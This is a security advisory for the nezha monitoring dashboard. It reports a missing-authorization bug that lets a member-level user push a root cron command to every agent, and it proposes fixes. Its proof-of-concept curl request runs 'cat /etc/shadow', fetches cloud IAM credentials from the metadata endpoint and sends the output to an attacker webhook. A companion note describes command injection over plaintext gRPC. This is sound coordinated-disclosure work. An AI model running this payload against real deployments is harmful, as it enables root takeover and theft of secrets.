Advisory

GHSA-99gv-2m7h-3hh9

Details, part 2 of 2. The advisory

Details

Step 2: Create the cross-tenant cron.

curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
    -d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \
    http://nezha.example.com/api/v1/cron

Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From c1c1cd1.../webhook.site/<attacker>:

[Scheduled Task Executed Successfully] x, admin-prod-db-01
uid=0(root) gid=0(root) groups=0(root)
admin-prod-db-01.internal
root:$6$KfTdXrLP$...
ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token

(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)

Reachability — additional notes

  • Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via singleton.Conf.Oauth2[provider]. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE.
  • The nezha agent typically runs as root (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses sudo systemctl.
  • The attack works whether Cover=CronCoverAll (deny-list, empty) or Cover=CronCoverIgnoreAll (allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step). Cover=CronCoverAll, Servers=[] is the simplest payload.

Suggested fix

  1. Switch `/cron` writes to `adminHandler`. Same fix as the /user and /setting routes already use.
   auth.POST("/cron", adminHandler(createCron))
   auth.PATCH("/cron/:id", adminHandler(updateCron))
   auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron))
   auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron))
  1. Per-server permission gate in `CronTrigger`. Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent of canSendTaskToServer(task, server) (already used in service/rpc/rpc.go:179-190 for service tasks) before each s.TaskStream.Send():
   for _, s := range ServerShared.Range {
       if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) {
           continue
       }
       // ... existing send logic
   }
  1. Reject empty `Servers` for `Cover=CronCoverAll`. A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:
   if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 {
       return 0, errors.New("a cover-all cron must explicitly list at least one ignored server")
   }
  1. Optional: forbid cf.PushSuccessful=true for non-admin to slow down the output-exfil step.

Severity

  • CVSS 3.1: Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ≈ 9.0.
  • PR:L because attacker needs RoleMember (admin-issued, or OAuth2 auto-bind).
  • S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).
  • C/I/A:H because RCE-as-root is the primary impact.
  • Auth: authenticated RoleMember (Role == 1).
  • CWE: CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).

Reproduction environment

  • Tested against: nezhahq/nezha master @ 50dc8e660326b9f22990898142c58b7a5312b42a.
  • Code locations:
  • Auth gate: cmd/dashboard/controller/controller.go:131-135 (commonHandler), 214-236 (handler defs)
  • Bypass: cmd/dashboard/controller/cron.go:53-55 (vacuous-true CheckPermission on empty cf.Servers)
  • Sink: service/singleton/crontask.go:133-181 (CronTrigger iterates all servers)
  • Output exfil: service/rpc/nezha.go:56-76
  • Comparison (correct gating): cmd/dashboard/rpc/rpc.go:179-190 (canSendTaskToServer for service tasks)

Reporter

Eddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's SECURITY.md mentions email [email protected]; happy to follow up there if the maintainer prefers email coordination.

This is a follow-up to the same auth-bypass class as GHSA-w4g9-mxgg-j532 (NEZHA-001 — /notification SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.

---

Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)

Filing channel issue: nezhahq/agent has private vulnerability reporting disabled (verified via GET /repos/nezhahq/agent/private-vulnerability-reporting), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.

Summary. The dashboard→agent control channel uses plaintext gRPC by default. agentConfig.TLS zero-value is false; the install script's [y/N] prompt defaults to false. AuthHandler.RequireTransportSecurity() returns false. An on-path attacker on the dashboard↔agent network path captures client_secret+client_uuid, terminates the agent's TCP connection, and injects a CommandTask over plaintext gRPC. The agent runs the task via sh -c <attacker-string> as the systemd-installed UID (typically root).

Adjacent-network attack vector (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).

Why filable. This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.

Severity: High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.

Suggested fix.

  1. Make TLS the install-script default ([Y/n]) instead of [y/N].
  2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext.
  3. Add AuthHandler.RequireTransportSecurity() returning true unconditionally.
  4. Document this as a must-enable in the agent install README.

Disclosure draft is on file in the moneyhunter campaign workspace under findings/NEZHA-AGENT-001-DISCLOSURE.md and findings/NEZHA-AGENT-001.yaml — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on nezhahq/agent).

— Eddie Ran

Sources & licences